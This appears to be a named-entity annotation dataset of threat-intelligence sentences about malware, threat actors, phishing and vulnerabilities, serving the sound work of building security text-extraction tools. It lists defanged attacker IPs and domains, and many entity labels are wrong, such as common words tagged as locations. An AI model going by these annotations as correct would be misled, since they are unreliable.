{"id":5486,"text":"He claimed that he wasn\u2019t able to install the app.","entities":[],"relations":[],"Comments":[]}
{"id":13662,"text":"How accounts are targeted for phishing attacks","entities":[{"id":42527,"label":"attack-pattern","start_offset":30,"end_offset":38}],"relations":[],"Comments":[]}
{"id":5555,"text":" It goes without saying that you should keep a close eye on your card statements\/bank account at all times \u2013 watching out even for small amounts that hackers may be making to test if your card is still active.","entities":[],"relations":[],"Comments":[]}
{"id":352,"text":"Yesterday, TrustedSec, a security consultancy based on Ohio, wrote that the recent breach at Community Health Systems (CHS) was the result of exploitation of the Heartbleed OpenSSL vulnerability (CVE-2014-0160).","entities":[{"id":46042,"label":"TIME","start_offset":0,"end_offset":9},{"id":46043,"label":"identity","start_offset":11,"end_offset":21},{"id":46044,"label":"location","start_offset":55,"end_offset":59},{"id":46045,"label":"identity","start_offset":93,"end_offset":123},{"id":46047,"label":"vulnerability","start_offset":196,"end_offset":209},{"id":46046,"label":"vulnerability","start_offset":162,"end_offset":194}],"relations":[],"Comments":[]}
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{"id":6628,"text":"A recent report uncovered this threat group\u2019s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins.","entities":[{"id":20569,"label":"threat-actor","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
{"id":6398,"text":" Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.","entities":[{"id":19849,"label":"IPV4","start_offset":49,"end_offset":64},{"id":19852,"label":"location","start_offset":206,"end_offset":213},{"id":19853,"label":"location","start_offset":215,"end_offset":218},{"id":19854,"label":"location","start_offset":221,"end_offset":226}],"relations":[],"Comments":[]}
{"id":8801,"text":"In one example, attackers impersonated McAfee.","entities":[],"relations":[],"Comments":[]}
{"id":459,"text":" Attackers use DGA so that they can quickly switch the domains that they\u2019re using for the malware attacks.","entities":[],"relations":[],"Comments":[]}
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{"id":14043,"text":"There seems to be a neat way to do it, but I seek advice from experienced people.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":13119,"text":"Marketplace Vendor Insights takes the pain out of due diligence by delivering the information prospective customers need\u2014reducing friction and accelerating the journey to cloud security.","entities":[],"relations":[],"Comments":[]}
{"id":279,"text":"Unlike a new malware family or vulnerability in the wild, the attacks we expect could come in many forms.","entities":[],"relations":[],"Comments":[]}
{"id":7715,"text":" Figure 11. .LNK embedded in the .ISO file","entities":[],"relations":[],"Comments":[]}
{"id":4583,"text":"More startling is the fact that 18.6% of all disclosures were published without a fix from the vendor\u2014another record-breaking stat.","entities":[],"relations":[],"Comments":[]}
{"id":874,"text":" The following sample is used for analysis:  Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":5726,"text":" Spear phishing, like the name implies, is a more targeted form of phishing which incorporates a theme directly related to the target.","entities":[{"id":17696,"label":"attack-pattern","start_offset":1,"end_offset":15},{"id":17697,"label":"attack-pattern","start_offset":67,"end_offset":75},{"id":17698,"label":"location","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]}
{"id":1133,"text":" With over hundreds of thousands of malware associations, this specific mutex is associated exclusively with the Net-worm:W32\/Allaple malware family which has been around since 2006 but continues to propagate and reinvent itself through the years.","entities":[{"id":46569,"label":"malware","start_offset":113,"end_offset":133},{"id":46570,"label":"TIME","start_offset":177,"end_offset":181}],"relations":[],"Comments":[]}
{"id":1096,"text":"This is because IE will completely destroy your edits when it writes its new version of the file over yours.","entities":[{"id":46567,"label":"SOFTWARE","start_offset":16,"end_offset":18}],"relations":[],"Comments":[]}
{"id":882,"text":"All data sent via HTTP POST requests is sent in the clear.","entities":[],"relations":[],"Comments":[]}
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{"id":13972,"text":"Further complicating the issue is the growing scope and scale of attacks today that are successfully targeting the seams between these layers.","entities":[],"relations":[],"Comments":[]}
{"id":14412,"text":"An XDR that supports advanced detection capabilities can identify correlate data across areas to identify events that would otherwise go unnoticed.","entities":[{"id":47170,"label":"SOFTWARE","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
{"id":10504,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
{"id":3751,"text":"In most cases, the exploit was only used to drop the payload, however the payloads themself did not contain CVE-2022-22954 exploits for further propagation.","entities":[{"id":49579,"label":"vulnerability","start_offset":108,"end_offset":122}],"relations":[],"Comments":[]}
{"id":8488,"text":"Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.","entities":[{"id":26173,"label":"location","start_offset":66,"end_offset":69},{"id":26174,"label":"location","start_offset":80,"end_offset":83},{"id":26175,"label":"attack-pattern","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
{"id":11078,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
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{"id":3446,"text":"We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts.","entities":[],"relations":[],"Comments":[]}
{"id":5359,"text":"The mtd_data_t structure      The data is read to this structure.","entities":[],"relations":[],"Comments":[]}
{"id":6119,"text":"The registrant information associated with the website hosting the malware is a domain reseller.","entities":[],"relations":[],"Comments":[]}
{"id":828,"text":"As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.","entities":[{"id":46378,"label":"identity","start_offset":19,"end_offset":62},{"id":44876,"label":"identity","start_offset":72,"end_offset":90}],"relations":[],"Comments":[]}
{"id":4517,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":50316,"label":"SOFTWARE","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]}
{"id":7271,"text":"It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file.","entities":[],"relations":[],"Comments":[]}
{"id":3283,"text":"The malicious actor can connect to the relevant RTMP address to watch the streaming.","entities":[],"relations":[],"Comments":[]}
{"id":13095,"text":" Robots are a particular risk\u2014not only because so much of modern manufacturing relies on them, but also because many of these machines rely on legacy technology dating back decades.","entities":[],"relations":[],"Comments":[]}
{"id":1755,"text":"However, he had to heavily redact this information due to an agreement between himself and Microsoft.","entities":[{"id":45122,"label":"identity","start_offset":91,"end_offset":100}],"relations":[],"Comments":[]}
{"id":730,"text":" The four critical vulnerabilities discovered by security researchers from Wiz include one unauthenticated remote code execution (RCE) and three privilege escalation vulnerabilities.  Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure cloud instances using the following Azure services:  Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs.","entities":[{"id":46306,"label":"attack-pattern","start_offset":91,"end_offset":135},{"id":46311,"label":"SOFTWARE","start_offset":313,"end_offset":342},{"id":46307,"label":"attack-pattern","start_offset":145,"end_offset":165},{"id":46309,"label":"SOFTWARE","start_offset":254,"end_offset":265},{"id":46310,"label":"SOFTWARE","start_offset":296,"end_offset":310},{"id":46313,"label":"SOFTWARE","start_offset":373,"end_offset":378},{"id":46308,"label":"vulnerability","start_offset":191,"end_offset":197}],"relations":[],"Comments":[]}
{"id":13629,"text":"A packetFlag \u201cxy\u201d was found inside this Gh0st RAT variant     This Gh0st RAT variant implements additional features for stealing QQ messenger user information, for example, a list of users on a given machine and their QQ messenger numbers.","entities":[{"id":51715,"label":"malware","start_offset":67,"end_offset":76},{"id":51714,"label":"malware","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]}
{"id":3030,"text":"Make sure you only give fobs to people that you trust.","entities":[],"relations":[],"Comments":[]}
{"id":3583,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":14309,"text":"Like the Android Maikspy, it first sends a notification to its C&C server to register the device.","entities":[{"id":48530,"label":"SOFTWARE","start_offset":9,"end_offset":17},{"id":48531,"label":"malware","start_offset":17,"end_offset":24},{"id":48532,"label":"Infrastucture","start_offset":63,"end_offset":73}],"relations":[{"id":445,"from_id":48531,"to_id":48532,"type":"beacons-to"}],"Comments":[]}
{"id":748,"text":"They followed that up In July by implementing a deferred free method to solve the freeing issue of use-after-free bugs.","entities":[{"id":46342,"label":"TIME","start_offset":25,"end_offset":29},{"id":46343,"label":"attack-pattern","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]}
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{"id":3224,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
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{"id":2449,"text":"Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.","entities":[],"relations":[],"Comments":[]}
{"id":2623,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  DEV-0537 criminal actor targeting organizations for data exfiltration and destruction A Closer Look","entities":[{"id":47799,"label":"identity","start_offset":1,"end_offset":19},{"id":47800,"label":"threat-actor","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
{"id":12370,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel\u2014targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet\u2014disrupting or blocking a site or a service entirely.","entities":[{"id":38428,"label":"location","start_offset":56,"end_offset":59},{"id":38429,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":38430,"label":"location","start_offset":108,"end_offset":111},{"id":38431,"label":"location","start_offset":205,"end_offset":208},{"id":38432,"label":"location","start_offset":214,"end_offset":220},{"id":38433,"label":"location","start_offset":230,"end_offset":234},{"id":38434,"label":"location","start_offset":247,"end_offset":253},{"id":38435,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
{"id":14060,"text":"Both use different samples for the multiple malware downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":9968,"text":"Malicious update files are prepared, signed with the stolen certificate, and uploaded to the attacker\u2019s server (207[.]148[.]94[.]157).","entities":[{"id":30441,"label":"location","start_offset":23,"end_offset":26},{"id":30442,"label":"location","start_offset":73,"end_offset":76},{"id":30443,"label":"IPV4","start_offset":112,"end_offset":132}],"relations":[],"Comments":[]}
{"id":13181,"text":"The encrypted USBferry malware is embedded in the loader resource section, and the loader drops it into the C:\\Users\\Public\\Documents\\Flash folder and names it flash.dat","entities":[{"id":41131,"label":"malware","start_offset":14,"end_offset":22},{"id":41132,"label":"location","start_offset":66,"end_offset":73},{"id":41133,"label":"location","start_offset":75,"end_offset":78},{"id":41134,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
{"id":12280,"text":"If you have communicated with any of these accounts or visited the actors\u2019 blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
{"id":3579,"text":"The following source code screenshot shows how this is implemented.","entities":[],"relations":[],"Comments":[]}
{"id":2141,"text":"As always, we are monitoring the situation closely and will provide additional details as they become available.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
{"id":5172,"text":"This technology is situated at the beginning of the supply chain as a layer that connects, controls, and monitors applications, sensors, and actuators, aimed at maintaining interoperability and fault tolerance.","entities":[],"relations":[],"Comments":[]}
{"id":14249,"text":"Here is a timeline of when the C&C server\u2019s IP addresses were first used, based on our monitoring: Figure 6: Timeline of the C&C server\u2019s IP addresses C&C Servers","entities":[],"relations":[],"Comments":[]}
{"id":3108,"text":"This has more in common with the Heartbleed event of 2014.","entities":[{"id":48254,"label":"vulnerability","start_offset":33,"end_offset":43},{"id":48255,"label":"TIME","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
{"id":14248,"text":"The earliest activity we tracked on the GitHub account was from August 17, 2016, with the most recent in March 12, 2017.","entities":[{"id":48442,"label":"TIME","start_offset":64,"end_offset":79},{"id":48443,"label":"TIME","start_offset":105,"end_offset":119},{"id":48441,"label":"SOFTWARE","start_offset":40,"end_offset":47}],"relations":[],"Comments":[]}
{"id":1760,"text":"Yu Yang then pasted his shellcode that used similar methods to run arbitrary code, showing that the method Yuki Chen used is exactly the one that won Yu the $100,000 award.","entities":[{"id":46910,"label":"identity","start_offset":0,"end_offset":7},{"id":46911,"label":"identity","start_offset":107,"end_offset":116},{"id":46912,"label":"identity","start_offset":150,"end_offset":152}],"relations":[],"Comments":[]}
{"id":13849,"text":"Side-Loading T1073   Uses modified legitimate DLL to load the malicious DLL Process Injection T1055 Injects the decrypted payload into svchost.exe process Exfiltration Exfiltration Over Command and Control Channel T1041","entities":[{"id":42934,"label":"location","start_offset":53,"end_offset":57},{"id":42935,"label":"attack-pattern","start_offset":76,"end_offset":93},{"id":42936,"label":"attack-pattern","start_offset":168,"end_offset":213}],"relations":[],"Comments":[]}
{"id":253,"text":"Our teams at Palo Alto Networks will continue monitoring domain squatting attacks and work to protect customers against them.","entities":[{"id":45949,"label":"identity","start_offset":13,"end_offset":31},{"id":45950,"label":"attack-pattern","start_offset":57,"end_offset":81}],"relations":[],"Comments":[]}
{"id":9757,"text":"But the last layer is the main backdoor body.","entities":[],"relations":[],"Comments":[]}
{"id":2746,"text":"Normal PAN-OS maintenance release updates will provide a fix for the vulnerability.","entities":[{"id":47992,"label":"SOFTWARE","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
{"id":13964,"text":"Detailed solutions can be found in our knowledge base article on DarkSide ransomware.","entities":[{"id":43290,"label":"malware","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
{"id":13996,"text":"While analyzing the technical details of this malware, which includes two new espionage backdoors, we noticed striking similarities to other malware attributed to the threat actor known as APT37, also known as Reaper or Group 123.","entities":[{"id":48781,"label":"threat-actor","start_offset":188,"end_offset":194},{"id":48782,"label":"threat-actor","start_offset":210,"end_offset":217},{"id":48783,"label":"threat-actor","start_offset":220,"end_offset":229}],"relations":[{"id":461,"from_id":48781,"to_id":48782,"type":"duplicate-of"},{"id":462,"from_id":48781,"to_id":48783,"type":"duplicate-of"}],"Comments":[]}
{"id":2383,"text":"Both StealthMutant and StealthVector contain a payload of either the Cobalt Strike beacon or ScrambleCross, a newly discovered backdoor.","entities":[{"id":47445,"label":"malware","start_offset":5,"end_offset":18},{"id":47448,"label":"malware","start_offset":93,"end_offset":106},{"id":47446,"label":"malware","start_offset":23,"end_offset":36},{"id":47447,"label":"tools","start_offset":69,"end_offset":82}],"relations":[{"id":326,"from_id":47446,"to_id":47447,"type":"uses"},{"id":327,"from_id":47446,"to_id":47448,"type":"uses"},{"id":328,"from_id":47445,"to_id":47447,"type":"uses"},{"id":329,"from_id":47445,"to_id":47448,"type":"uses"}],"Comments":[]}
{"id":513,"text":"Virlock has the largest number of variants due to its file-infector-like behavior.","entities":[{"id":46145,"label":"attack-pattern","start_offset":54,"end_offset":81},{"id":44760,"label":"malware","start_offset":0,"end_offset":7}],"relations":[{"id":159,"from_id":44760,"to_id":46145,"type":"uses"}],"Comments":[]}
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{"id":415,"text":"And for shoppers, the impact of a successful attack is minimal: there are no lasting effects or impact, making it an annoyance at worst.  But because of the potential impact on holiday shopping and the ease of attacks, unauthorized coin mining is an attack that retailers need to be aware of and take active steps for prevention this holiday season.","entities":[{"id":46113,"label":"attack-pattern","start_offset":219,"end_offset":243}],"relations":[],"Comments":[]}
{"id":12046,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":37269,"label":"location","start_offset":10,"end_offset":14},{"id":37270,"label":"location","start_offset":89,"end_offset":95},{"id":37271,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
{"id":13600,"text":"(Note that Flash has been declared end-of-life by Adobe since December 31, 2020.)  If the victim downloads and executes the installer downloaded from this page, the victim will be infected with a variant of Gh0stRat malware, previously also named Gh0stCringe or CineregRAT.","entities":[{"id":51687,"label":"TIME","start_offset":62,"end_offset":79},{"id":51688,"label":"malware","start_offset":207,"end_offset":215},{"id":51689,"label":"malware","start_offset":247,"end_offset":258},{"id":51690,"label":"malware","start_offset":262,"end_offset":272}],"relations":[{"id":1133,"from_id":51688,"to_id":51689,"type":"related-to"},{"id":1134,"from_id":51688,"to_id":51690,"type":"related-to"}],"Comments":[]}
{"id":7951,"text":"This method has several stages:","entities":[],"relations":[],"Comments":[]}
{"id":14234,"text":"In fact, we found references to PlugX in the C&C strings we analyzed, indicating that the group may also be using the same backdoor in this particular campaign.","entities":[{"id":44021,"label":"malware","start_offset":32,"end_offset":37}],"relations":[],"Comments":[]}
{"id":2516,"text":" The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.","entities":[{"id":47712,"label":"threat-actor","start_offset":23,"end_offset":28},{"id":47713,"label":"location","start_offset":133,"end_offset":137},{"id":47711,"label":"identity","start_offset":5,"end_offset":8}],"relations":[{"id":343,"from_id":47712,"to_id":47713,"type":"targets"}],"Comments":[]}
{"id":12849,"text":"A security professional can leverage MITRE ATT&CK to audit for coverage gaps to discover where they may be vulnerable to threats.","entities":[{"id":40046,"label":"location","start_offset":2,"end_offset":10},{"id":40047,"label":"location","start_offset":24,"end_offset":27},{"id":40048,"label":"malware","start_offset":28,"end_offset":36},{"id":40050,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
{"id":14370,"text":"End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro\u2122 Mobile Security for Android\u2122 which is also available on Google Play.","entities":[],"relations":[],"Comments":[]}
{"id":1547,"text":" The figure below shows an example.","entities":[],"relations":[],"Comments":[]}
{"id":13346,"text":"How a scheduled task delivers the malware to a victim's environment","entities":[{"id":41531,"label":"attack-pattern","start_offset":6,"end_offset":20}],"relations":[],"Comments":[]}
{"id":619,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":5437,"text":"In such cases, an average user would not have the ability to fix a Cyclops Blink infection.","entities":[{"id":51436,"label":"malware","start_offset":67,"end_offset":80}],"relations":[],"Comments":[]}
{"id":8276,"text":"Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.","entities":[],"relations":[],"Comments":[]}
{"id":1978,"text":"It should be noted that if you want modify the \u201cCookieSize\u201c value, you should modify the other length fields to keep the packet structure valid, as shown below in Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":11762,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google\u2019s naming), and Kantal (Google\u2019s naming) which shares code similarity with Vidar.","entities":[{"id":36265,"label":"malware","start_offset":79,"end_offset":86},{"id":36272,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
{"id":13704,"text":"As a result, traditional security solutions won\u2019t be able to protect accounts and systems from such attacks.","entities":[],"relations":[],"Comments":[]}
{"id":568,"text":"The attacker asked for $250 and required payment as 0.004 BTC (suggesting that at the time the ransom note was written, 1 BTC equaled approximately $62,500).","entities":[],"relations":[],"Comments":[]}
{"id":5029,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":51097,"label":"SOFTWARE","start_offset":49,"end_offset":69}],"relations":[],"Comments":[]}
{"id":2346,"text":"The exploit worked and ran our bash script as root.","entities":[],"relations":[],"Comments":[]}
{"id":9321,"text":" Figure 5. Magecart Group 11 injection pattern  Figure 6.","entities":[{"id":28763,"label":"threat-actor","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
{"id":988,"text":" Acknowledgement  We greatly appreciate the help from Rongbo Shao from Palo Alto Networks in working on the Threat Prevention signature.","entities":[{"id":46482,"label":"identity","start_offset":71,"end_offset":89},{"id":46483,"label":"identity","start_offset":54,"end_offset":65}],"relations":[],"Comments":[]}
{"id":942,"text":"Background  WildFire captures many samples of mobile malware that intercept and upload SMS messages.","entities":[{"id":44908,"label":"identity","start_offset":12,"end_offset":20}],"relations":[],"Comments":[]}
{"id":5241,"text":"AnubisSpy has several modules, each of which has a separate role.","entities":[{"id":51275,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":4752,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[],"relations":[],"Comments":[]}
{"id":14218,"text":"Although gzwrite64 is imported by loadperf.dll, the payload\u2019s main function is actually located in the DLLMain of \u201cloadoerf.ini\u201d.","entities":[{"id":48244,"label":"FILEPATH","start_offset":115,"end_offset":127},{"id":48246,"label":"FILEPATH","start_offset":34,"end_offset":46},{"id":48247,"label":"SOFTWARE","start_offset":9,"end_offset":19}],"relations":[],"Comments":[]}
{"id":14361,"text":"The following figures show how Maikspy variants from 2016 to 2018 are connected to C&C servers (found in this appendix, along with the Android and Windows hashes) used by the attackers:  Figure 20.","entities":[{"id":51783,"label":"malware","start_offset":31,"end_offset":38},{"id":51784,"label":"SOFTWARE","start_offset":135,"end_offset":142},{"id":51785,"label":"SOFTWARE","start_offset":147,"end_offset":154}],"relations":[],"Comments":[]}
{"id":4207,"text":"This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets.","entities":[],"relations":[],"Comments":[]}
{"id":5478,"text":"The chat logs shed light on the social engineering used by the operators to persuade victims to install the cyberespionage malware on their Android devices.","entities":[{"id":51470,"label":"SOFTWARE","start_offset":140,"end_offset":147},{"id":51469,"label":"attack-pattern","start_offset":32,"end_offset":50}],"relations":[],"Comments":[]}
{"id":3249,"text":"This file contains the victim ID assigned by the command-and-control (C&C) server.","entities":[],"relations":[],"Comments":[]}
{"id":10468,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
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{"id":1290,"text":"It attempts to obtain a handle to this window using the FindWindowW API call and then proceeds to send the following command to this executable.","entities":[],"relations":[],"Comments":[]}
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{"id":2650,"text":"The ransomware note was also used to recruit insiders from victim organizations.","entities":[],"relations":[],"Comments":[]}
{"id":8825,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.","entities":[{"id":27338,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":27341,"label":"location","start_offset":163,"end_offset":167},{"id":27343,"label":"location","start_offset":176,"end_offset":179},{"id":27344,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
{"id":4079,"text":"Hence, the command will be this format:  <command code>`<custom-base64encoded-data>[`<more-custom-base64encoded-data>] HTShell currently supports three different backdoor functions, shown here:  Command code Function 0 Open a command shell for command execution 1","entities":[{"id":49915,"label":"malware","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
{"id":9023,"text":"Lazarus\u2019 backend logs also record victim IP addresses.","entities":[],"relations":[],"Comments":[]}
{"id":7703,"text":"The encrypted sample \u2014 via XOR encoding\/URL encoding \u2014 also received a response from the C&C encrypted with XOR.","entities":[{"id":23942,"label":"location","start_offset":14,"end_offset":20},{"id":23943,"label":"attack-pattern","start_offset":40,"end_offset":52}],"relations":[],"Comments":[]}
{"id":665,"text":"In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we\u2019ve already posted about before, and some are new.","entities":[{"id":46244,"label":"SOFTWARE","start_offset":130,"end_offset":137}],"relations":[],"Comments":[]}
{"id":7178,"text":"To help prevent any damage, we decided to publish our findings before the group deploys the attack.","entities":[],"relations":[],"Comments":[]}
{"id":11219,"text":"Once the attacker has logged in to the victim\u2019s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]}
{"id":4771,"text":"For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.","entities":[],"relations":[],"Comments":[]}
{"id":1518,"text":" If the file does receive data from the server in excess of 20 bytes it will be in the following format:  <2 byte data length><0xABCDEF88><zlib-encrypted data>  The decrypted data will contain the following fields:  The attack type field is used to determine if a SYN DDoS or DNS DDoS is used in an attack.","entities":[],"relations":[],"Comments":[]}
{"id":13060,"text":"Analysis of Kinsing Malware's Use of Rootkit","entities":[{"id":48892,"label":"malware","start_offset":12,"end_offset":29},{"id":40769,"label":"attack-pattern","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]}
{"id":1676,"text":"This password is set to \u201cPassword\u201d by default, but can be retrieved from NetWire binaries if the attacker used something more secure.","entities":[{"id":4975,"label":"malware","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
{"id":8931,"text":"In this case, we can see that it took an hour and a half for the attackers to modify the legitimate installer and add malicious code to it.","entities":[{"id":27616,"label":"location","start_offset":8,"end_offset":12},{"id":27617,"label":"location","start_offset":17,"end_offset":20},{"id":27618,"label":"TIME","start_offset":38,"end_offset":56},{"id":27619,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
{"id":7515,"text":"A simple RSA algorithm with very small keys encrypts the message seen above.","entities":[{"id":23365,"label":"identity","start_offset":9,"end_offset":12},{"id":23366,"label":"location","start_offset":33,"end_offset":38}],"relations":[],"Comments":[]}
{"id":13058,"text":"Botnets Have Been Silently Mass-Scanning the Internet for Unsecured ENV Files Security firm Greynoise found that multiple threat actors, while drawing little attention to themselves, have spent the past two to three years mass-scanning the internet for ENV (environment) files that were accidentally uploaded and left exposed on web servers.","entities":[],"relations":[],"Comments":[]}
{"id":4720,"text":"iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.","entities":[{"id":50620,"label":"SOFTWARE","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
{"id":1895,"text":"The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu, seen below  Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.","entities":[{"id":47027,"label":"SOFTWARE","start_offset":91,"end_offset":108},{"id":47028,"label":"DOMAIN","start_offset":168,"end_offset":180}],"relations":[],"Comments":[]}
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{"id":2258,"text":"While the malware lacked a large set of capabilities, it had a wealth of interesting and advanced features, such as the custom encryption\/encoding witnessed in the network traffic, the use of process hollowing against a randomly selected Microsoft Windows binary, and the downloading component that attempted to bypass network security measures by modifying the executable header.","entities":[{"id":47331,"label":"SOFTWARE","start_offset":238,"end_offset":255},{"id":47330,"label":"attack-pattern","start_offset":192,"end_offset":209}],"relations":[],"Comments":[]}
{"id":13212,"text":"Threat actors like Tropic Trooper can also use an invisible web shell to hide its C&C server location and make incident response tricky.","entities":[{"id":41203,"label":"location","start_offset":34,"end_offset":37},{"id":41204,"label":"attack-pattern","start_offset":60,"end_offset":69},{"id":41205,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
{"id":4880,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.","entities":[],"relations":[],"Comments":[]}
{"id":1169,"text":" From edge case to systematic misclassifications, mutex usage is even more generally the canary in a coal mine than was previously realized.  While tedious and time consuming, combing through mutex names did come with more than a few good laughs.","entities":[],"relations":[],"Comments":[]}
{"id":2213,"text":" While the link above shows a file extension of an image, the transferred file is in fact a modified executable file.  The downloaded file has the first two bytes of the PE file format replaced with the characters \u2018DW\u2019, instead of the usual \u2018MZ\u2019.","entities":[],"relations":[],"Comments":[]}
{"id":14369,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":3587,"text":"After inspection we noticed that this version of CyaX was similarly notable due to two characteristics.","entities":[{"id":49371,"label":"tools","start_offset":49,"end_offset":53}],"relations":[],"Comments":[]}
{"id":1237,"text":"A user can set a system-wide default SMS app as the only app with permission to send and receive SMS.","entities":[],"relations":[],"Comments":[]}
{"id":10963,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
{"id":5275,"text":"It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":13317,"text":"Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents.","entities":[{"id":41445,"label":"location","start_offset":0,"end_offset":5},{"id":41446,"label":"attack-pattern","start_offset":6,"end_offset":14}],"relations":[],"Comments":[]}
{"id":1046,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Today, Palo Alto Networks Unit 42 researchers are announcing details on a new high- severity vulnerability affecting the Google Android platform.","entities":[{"id":46537,"label":"identity","start_offset":60,"end_offset":98},{"id":46538,"label":"SOFTWARE","start_offset":174,"end_offset":197}],"relations":[],"Comments":[]}
{"id":1234,"text":"However, two months ago, WildFire discovered a new Android malware, Cardbuyer, that circumvents this verification technique.","entities":[{"id":46615,"label":"SOFTWARE","start_offset":25,"end_offset":33},{"id":46616,"label":"SOFTWARE","start_offset":51,"end_offset":58},{"id":46617,"label":"malware","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]}
{"id":6169,"text":"After the attackers gain a foothold into the system \u2014 either through XSS injection or Service Worker \u2014 the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.","entities":[{"id":19076,"label":"attack-pattern","start_offset":69,"end_offset":72},{"id":19077,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
{"id":2834,"text":"This is likely due to increased uptake of the patch MS17-010 in light of the WanaCrypt0r attacks, as well as efforts made within the security community.","entities":[{"id":48043,"label":"malware","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]}
{"id":8031,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
{"id":13077,"text":"Cybercriminals have recently been focusing their efforts on the retail industry, launching ransomware-based attacks that could prove disastrous for businesses if it disrupts their operations during important shopping seasons.","entities":[],"relations":[],"Comments":[]}
